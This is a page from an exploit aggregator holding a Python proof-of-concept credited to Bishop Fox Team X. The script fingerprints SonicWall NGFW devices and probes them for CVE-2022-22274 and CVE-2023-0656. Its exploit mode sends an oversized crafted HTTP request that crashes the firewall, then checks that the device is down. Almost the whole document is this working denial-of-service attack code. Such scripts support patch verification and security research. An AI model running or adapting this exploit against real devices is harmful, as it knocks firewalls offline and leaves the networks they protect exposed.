4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
#
# Vulnerability test and DoS exploit for
# SonicWall NGFW CVE-2022-22274 & CVE-2023-0656
# by Bishop Fox Team X

import sys
import time
import re
import socket
import ssl
import warnings

import argparse


def check_header(host, port):
    # Check for SonicWall header
    data = b"GET / HTTP/1.1\r\n\r\n"
    try:
        with socket.create_connection((host, port), timeout=10) as sock:
            context = ssl.SSLContext()
            context.verify_mode = ssl.CERT_NONE
            with context.wrap_socket(sock, server_hostname=host) as ssock:
                ssock.send(data)
                resp = ssock.recv(256)
        if b"Server: SonicWALL\r\n" in resp:
            print("[+] Confirmed target is running SonicOS")
            return True
        else:
            print("[-] Failed to confirm SonicOS on the target")
            return False
    except:
        print("[-] Failed to connect")
        return False


def test(host, port, path):
    # Test for vulnerability at an arbitrary path
    data = b"GET " + path + b"A" * 0x400 + b" HTTP/1.1\r\n\r\n"
    try:
        with socket.create_connection((host, port), timeout=5) as sock:
            context = ssl.SSLContext()
            context.verify_mode = ssl.CERT_NONE
            with context.wrap_socket(sock, server_hostname=host) as ssock:
                ssock.send(data)
                resp = ssock.recv(1024)
        if resp and re.match(r"HTTP/\d\.?\d? 302 Found", resp[:18].decode()):
            print("[+] Target looks vulnerable! (redirected)")
            return True
        elif not resp:
            print("[-] Target appears to be patched (empty response)")
            return True
        else:
            try:
                status = resp.decode().split(" ", 2)[1]
                print(f"[-] Target does not appear to be affected (HTTP {status})")
            except:
                print("[-] Target does not appear to be affected")
            return True
    except:
        print("[-] Failed to connect")
        return False


def exploit(host, port, path):
    # Trigger crash
    print(f"[*] Triggering exploit at {path.decode()}")
    data = b"GET " + path + b"A" * 0x400 + b" HTTP/1.1" + b"B" * 0x2000 + b"\r\n\r\n"
    try:
        with socket.create_connection((host, port), timeout=5) as sock:
            context = ssl.SSLContext()
            context.verify_mode = ssl.CERT_NONE
            with context.wrap_socket(sock, server_hostname=host) as ssock:
                ssock.send(data)
    except:
        print("[-] Failed to connect")
        sys.exit(0)

    # Check availability
    time.sleep(5)
    try:
        socket.create_connection((host, port), timeout=5)
        print("[-] Exploit failed (target responded)")
    except:
        print("[+] Exploit succeeded! (target unavailable)")


def main():
    # Parse arguments
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-t",
        "--test",
        action="store_true",
        help="safely test for vulnerability (default action)",
    )
    parser.add_argument(
        "-x",
        "--exploit",
        type=int,
        choices=range(1, 6),
        help="exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services",
    )
    parser.add_argument(
        "-s",
        "--skip-header-check",
        action="store_true",
        help="skip initial check for SonicWALL response header",
    )
    parser.add_argument(
        "target",
        help="hostname[:port] (port defaults to 443)",
    )
    args = parser.parse_args()
    if not args.test and not args.exploit:
        args.test = True

    # Ignore SSL deprecation warnings
    warnings.filterwarnings("ignore", category=DeprecationWarning)

    # Parse target details
    port = 443
    parts = args.target.count(":")
    if parts > 1:
        print("[!] Invalid target")
        sys.exit(1)
    elif parts:
        host, port = args.target.rsplit(":", 1)
        port = int(port)
    else:
        host = args.target
    print(f"[*] Checking https://{host}:{port}")

    # Perform header check
    if not args.skip_header_check:
        if not check_header(host, port):
            sys.exit(0)

    # Test vulnerabilities
    if args.test:
        print("[*] Testing CVE-2022-22274 at /resources/")
        if not test(host, port, b"/resources/"):
            sys.exit(0)
        print("[*] Testing CVE-2022-22274 at //")
        if not test(host, port, b"//"):
            sys.exit(0)
        print("[*] Testing CVE-2022-22274 at /atp/")
        if not test(host, port, b"/atp/"):
            sys.exit(0)
        print("[*] Testing CVE-2023-0656 at /stats/")
        if not test(host, port, b"/stats/"):
            sys.exit(0)
        print("[*] Testing CVE-2023-0656 at /Security_Services")
        if not test(host, port, b"/Security_Services"):
            sys.exit(0)

    # Exploit vulnerability
    if args.exploit:
        paths = [b"/resources/", b"//", b"/atp/", b"/stats/", b"/Security_Services"]
        exploit(host, port, paths[args.exploit - 1])


if __name__ == "__main__":
    main()